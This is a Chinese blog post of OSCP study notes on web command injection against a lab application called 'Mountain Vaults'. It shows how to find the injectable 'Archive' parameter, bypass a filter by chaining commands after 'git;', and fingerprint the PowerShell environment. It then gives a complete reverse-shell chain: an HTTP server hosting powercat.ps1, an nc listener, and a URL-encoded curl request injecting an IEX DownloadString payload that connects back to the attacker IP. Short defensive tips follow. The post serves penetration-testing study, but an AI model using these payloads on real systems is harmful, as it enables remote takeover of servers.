4-8〔O҉S҉C҉P҉ ◈ 研记〕❘ WEB应用攻击▸命令注入漏洞

郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。

💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥
更多文章戳👉
Whoami!-CSDN博客🚀

​​​​​


𖤐 现在,我们渐入佳境了,保持耐心,继续前行

𖤐 𝓝𝓸𝔀 𝔀𝓮'𝓻𝓮 𝓱𝓲𝓽𝓽𝓲𝓷𝓰 𝓸𝓾𝓻 𝓼𝓽𝓻𝓲𝓭𝓮, 𝓴𝓮𝓮𝓹 𝓹𝓪𝓽𝓲𝓮𝓷𝓽 𝓪𝓷𝓭 𝓴𝓮𝓮𝓹 𝓶𝓸𝓿𝓲𝓷𝓰 𝓯𝓸𝓻𝔀𝓪𝓻𝓭!


→ 信息收集

→ 漏洞检测

→ 初始立足点**▸常见WEB应用攻击▸-----我们在这儿~** 🔥🔥🔥

权限提升

→ 横向移动

→ 报告/分析

→ 教训/修复

目录

[1 常见WEB应用攻击](#1 常见WEB应用攻击)

[1.4 命令注入漏洞](#1.4 命令注入漏洞)

[1.4.1 命令注入基础](#1.4.1 命令注入基础)

[1.4.2 寻找命令注入点](#1.4.2 寻找命令注入点)

1.识别命令注入点

2.测试验证

[1.4.3 继续尝试其他命令可否被注入](#1.4.3 继续尝试其他命令可否被注入)

1.初步尝试:基础命令注入(失败)

2.巧妙绕过:利用白名单命令(成功)

3.组合攻击:串联命令执行(成功)

4.环境探测:确定执行上下文(成功)

5.攻击总结与发现

6.核心漏洞成因

[1.4.4 利用命令注入获取反向Shell](#1.4.4 利用命令注入获取反向Shell)

[1.准备攻击载荷:设置Powercat Web服务器](#1.准备攻击载荷:设置Powercat Web服务器)

2.设置接收端:开启Netcat监听器

3.构造命令:让目标去下载Powercat脚本并执行

4.执行攻击:URL编码并注入

5.验证攻击结果

6.防御建议

[💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬](#💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬)


1 常见WEB应用攻击

Web开发是当前IT领域需求最高 的技能之一,然而多种安全漏洞在各类Web应用程序中反复出现。无论使用何种技术栈,这些常见漏洞都可能存在于已部署的应用程序中。主要攻击类型包括:

  • 📁 目录遍历 - 通过操纵++文件路径++访问未授权资源

  • 📄 文件包含漏洞 - 包含++恶意文件执行代码++

  • ⬆️ 文件上传攻击漏洞 - ++上传恶意文件++获取系统访问权

  • ⚡ 命令注入 - 在输入中++注入系统命令++ 执行**---(本文)**


1.4 命令注入漏洞

命令注入漏洞是Web应用程序中一种严重的安全威胁,允许攻击者通过应用程序执行未经授权的操作系统命令。

1.4.1 命令注入基础

Web应用程序 通常需要与底层操作系统交互,主要有两种方式:

交互方式 安全性 开发复杂度 适用场景
🛡️ 预定义API 高安全性 高(需大量开发时间) 稳定、标准化的操作
⚡ 直接用户输入 风险较高 较低 需要灵活性的场景

🔄 交互机制对比

1. 通过预定义API交互

  • 安全性高:行为固定,用户输入无法直接改变底层操作

  • 稳定性强:经过严格设计和测试

  • ⚠️ 开发成本高:需要大量时间规划和开发

2. 直接接受用户输入

  • ⚠️ 风险较高:需要严格的输入验证和过滤

  • 灵活性好:能够应对各种复杂场景

  • 🔒 必须进行净化处理:防止恶意输入影响系统安全,例如:

禁止文件名中出现**../ 或 `、&`** 等特殊字符。

将文件名中的**< 转义为 &lt;** ,或将空格 转换为下划线**_**。

1.4.2 寻找命令注入点

🎯 实战演示:Mountain Vaults应用程序

  • 系统:MOUNTAIN系统

  • 端口:8000

  • 应用:"Mountain Vaults" Web应用程序

  • 访问地址http://192.168.50.189:8000

🔎 漏洞发现过程

1.识别命令注入点

应用程序提供git克隆功能,用户可输入git clone命令,如上图:

复制代码
git clone [repository_url]
2.测试验证
  • 操作:尝试克隆ExploitDB存储库

  • 方法:通过应用程序表单输入命令

  • 结果:成功开始克隆过程

📊 渗透测试分析

🔍 Burp Suite抓包分析

阶段 关键发现 安全影响
请求分析 使用POST请求,输入框的命令 通过archive参数传递 ⭐⭐⭐⭐⭐
响应分析 响应内容与Web页面一致,显示命令执行结果 ⭐⭐⭐⭐

💡 关键发现总结

  • 注入点archive参数是命令输入点

  • 执行机制:操作系统直接执行输入的字符串

  • 回显机制:响应数据展示命令执行结果

⚠️ 安全风险等级评估

风险因素 等级 说明
直接系统命令执行 🔴 严重 可完全控制系统
输入验证缺失 🔴 严重 无有效过滤机制
结果直接回显 🟡 中等 便于攻击者验证
综合风险等级 🔴 严重 需要立即修复

1.4.3 继续尝试其他命令可否被注入

【思路】 既然**"git clone...**"作为"Archive"的参数被服务器执行。那么,尝试使用curl注入诸如ipconfig、ifconfig和hostname等任意命令看是否被执行以探测此处的执行权限。

我们现在到Burp的HTTP历史记录,以了解POST请求的正确结构:Archive=命令参数

攻击步骤详解

1.初步尝试:基础命令注入(失败)

首先尝试执行一个简单的系统命令 ipconfig 来探测漏洞。

$ curl -X POST --data 'Archive=ipconfig' http://192.168.50.189:8000/archive

// **-X参数:**请求类型更改为POST;

// **--data:**指定在POST请求中发送的数据。

  • 结果命令注入被拒绝、中止

  • 结论: 目标存在基础防御机制,直接注入系统命令行不通。

🔍 关键发现: 应用程序有命令过滤器,但需要找到其弱点。

2.巧妙绕过:利用白名单命令(成功)

由于之前 git clone 命令成功执行,攻击者推测 git 本身可能是一个被允许的"白名单"命令。

  • 结果成功返回了 git 命令的帮助页面

  • 结论 : 确认 git 命令可以被执行,这成为了后续攻击的"跳板命令"。

为了进一步获取系统信息,尝试执行:

  • 结果: 从输出中看到 "Windows" 。(若Web程序在Linux上运行,只会显示Git的版本。)

  • 结论确认Web应用程序运行在Windows操作系统上

3.组合攻击:串联命令执行(成功)

【思路】现在我们使用试错的方法 来不断探索过滤器并查看允许的内容。既然git 命令可被执行,使用命令分隔符 允许的 git 命令和我们想执行的任意系统命令组合起来。

  • 攻击载荷git; ipconfig

  • URL编码后git%3Bipconfig

  • 结果两个命令都成功执行了! 既显示了git帮助,也返回了ipconfig的网络信息。

攻击逻辑流程图:

4.环境探测:确定执行上下文(成功)

为了更精确地实施攻击,需要知道命令在什么环境中执行(是CMD 或 PowerShell?)。

  • 攻击载荷1git; echo "Powershell:$PSVersionTable" (这是一个用于判断PowerShell环境的命令)

  • URL编码后git%3Becho%20%22Powershell%3A%24PSVersionTable%22

bash 复制代码
curl -X POST --data 'Archive=git%3Becho%20%22Powershell%3A%24PSVersionTable%22' http://192.168.50.189:8000/archive

或者,

  • 攻击载荷2(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell (这是一个用于判断当前的执行环境是cmd还是PowerShell的命令)

  • URL编码后
    git%3B(dir%202%3E%261%20*%60%7Cecho%20CMD)%3B%26%3C%23%20rem%20%23%3Eecho%20P
    owerShell'

    bash 复制代码
    curl -X POST --data 
    'Archive=git%3B(dir%202%3E%261%20*%60%7Cecho%20CMD)%3B%26%3C%23%20rem%20%23%3Eecho%20P
    owerShell' http://192.168.50.189:8000/archive
  • 结果: 输出中结果是"cmd"还是 "PowerShell" 。

  • 结论确认注入的命令在PowerShell环境中执行

5.攻击总结与发现
步骤 操作 命令/载荷 结果 关键发现
1 基础探测 ipconfig ❌ 失败 存在基础过滤器
2 白名单利用 git ✅ 成功 git是跳板命令
3 系统识别 git version ✅ 成功 系统为Windows
4 命令串联 git; ipconfig ✅ 成功 分隔符;可绕过过滤
5 环境识别 git; echo ... ✅ 成功 执行环境为PowerShell
6.核心漏洞成因

该Web应用的命令注入过滤器存在逻辑缺陷 。它可能采用了简单的"白名单"策略,允许包含 git 的指令通过,但未能有效过滤命令分隔符(如 ;, &, && ,导致攻击者可以将恶意系统命令"挂载"在合法的 git 命令之后执行。

💡 防御建议

  • 永远不要通过拼接字符串的方式构建系统命令。

  • 如果必须执行命令,应使用严格的、预定义的参数映射,而非直接传递用户输入。

  • 使用经过安全审核的API来替代系统命令的执行。


1.4.4 利用命令注入获取反向Shell

在确认存在命令注入漏洞并了解其执行环境后,攻击进入利用阶段,目标是获取一个交互式的反向Shell,从而完全控制目标系统。

攻击环境配置:

  • 攻击者IP192.168.119.3 (Kali Linux)

  • 目标URLhttp://192.168.50.189:8000/archive

  • 工具: Powercat (PowerShell版的Netcat)、Netcat、Python HTTP服务器

完整攻击链可视化:

1.准备攻击载荷:设置Powercat Web服务器

在Kali的第二个终端中,启动一个HTTP服务器来托管Powercat脚本:

🎯 目的: 创建一个让目标系统能够下载Powercat脚本的渠道。

使用Powercat脚本创建一个反向shell。Powercat是Kali中包含的Netcat的PowerShell实现。

bash 复制代码
# 将powercat.ps1复制到当前目录(如需要)
kali@kali:~$ cp /usr/share/powershellempire/empire/server/data/module_source/management/powercat.ps1 .

# 启动Python HTTP服务器
kali@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
2.设置接收端:开启Netcat监听器

在Kali的第三个终端中,开启一个Netcat监听器,等待反向连接:

bash 复制代码
kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
  • -n: 不进行DNS解析

  • -v: 详细输出

  • -l: 监听模式

  • -p 4444: 指定监听端口

🛑 关键点 : 这个监听器将作为"接收端",等待目标系统主动连接回来。

3.构造命令:让目标去下载 Powercat脚本并执行

利用已发现的命令注入漏洞,构造一个能下载并执行反向Shell的命令:

**原始PowerShell命令:**以下命令是在目标服务器上执行。

bash 复制代码
git; IEX (New-Object
System.Net.Webclient).DownloadString("http://192.168.119.3/powercat.ps1");powercat -c
192.168.119.3 -p 4444 -e powershell
复制代码
命令分解说明:
组件 功能 说明
git; 绕过过滤器 利用白名单命令通过初步检测
IEX(New-Object System.Net.WebClient).DownloadString("http://192.168.119.3/powercat.ps1"); 下载攻击载荷 从攻击者服务器(http://192.168.119.3/powercat.ps1)下载Powercat脚本到内存并执行
powercat -c 192.168.119.3 -p 4444 -e powershell 建立反向连接 连接到攻击者的监听端口,提供PowerShell会话

详细说明:

组件 类型 功能描述 备注
IEX PowerShell cmdlet Invoke-Expression - 执行字符串中的PowerShell代码 🚨 高危命令:直接执行任意代码
New-Object System.Net.WebClient .NET类实例化 创建一个WebClient 对象,用于从Web下载内容 提供HTTP/FTP下载能力
.DownloadString() 方法调用 从指定URL下载文本内容(返回字符串) 将远程脚本加载到内存中
"http://192.168.119.3/powercat.ps1" URL参数 攻击者控制的Powercat脚本地址 包含反向Shell功能的PS1文件
powercat 主命令 - Netcat的PowerShell实现,专门用于网络操作
-c 客户端模式 192.168.119.3 指定要连接的攻击者IP地址
-p 端口号 4444 指定攻击者监听的端口号
-e 执行程序 powershell 指定连接成功后要启动的程序(这里是PowerShell)

连接建立过程:

  • Powercat作为客户端连接到指定IP和端口(攻击者的)

  • 在连接上启动PowerShell进程(目标服务器上)

  • 将PowerShell的输入/输出重定向到网络连接

  • 攻击者获得交互式PowerShell会话

4.执行攻击:URL编码并注入

对攻击命令进行URL编码后通过curl发送:

bash 复制代码
kali@kali:~$ curl -X POST --data 'Archive=git%3BIEX%20(NewObject%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F192.168.119.3%2Fpowercat
.ps1%22)%3Bpowercat%20-c%20192.168.119.3%20-p%204444%20-e%20powershell' 
http://192.168.50.189:8000/archive
5.验证攻击结果

**在第二个终端(Web服务器)中:**powercat.ps1脚本被目标服务器下载。

确认: 目标系统成功下载了powercat.ps1文件

在第三个终端(Netcat监听器)中:

确认成功获得反向Shell,现在可以在目标系统上执行任意命令。

**此外,**也可以直接注入PowerShell反向shell,而不是使用Powercat,有许多方法可以利用命令注入漏洞。

替代攻击方法:

  • 直接使用PowerShell内置命令建立反向Shell

  • 使用其他脚本语言(如Python、PHP)如果环境支持

  • 上传Web Shell文件实现持久化访问

6.防御建议
  • 实施严格的输入验证和命令白名单

  • 禁用不必要的PowerShell执行权限

  • 配置网络防火墙限制出站连接

  • 使用Web应用防火墙(WAF)检测命令注入模式

  • 定期进行安全代码审计和渗透测试


💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬

您的支持是我创作最大的动力!

相关推荐
枷锁—sha9 小时前
【SRC】SQL注入WAF 绕过应对策略(二)
网络·数据库·python·sql·安全·网络安全
白帽子凯哥哥13 小时前
湖南网安基地:国家级实战化网安人才培养的“黄埔军校”
web安全·信息安全·零基础·渗透测试·安全服务
天荒地老笑话么17 小时前
静态 IP 规划:掩码/网关/DNS 的正确组合
网络·网络协议·tcp/ip·网络安全
大方子1 天前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha2 天前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
聚铭网络2 天前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd2 天前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
世界尽头与你2 天前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
枷锁—sha3 天前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
成茂峰3 天前
软考高级·系统架构设计师 | 四、信息技术安全知识
安全·信息安全·系统架构·架构设计师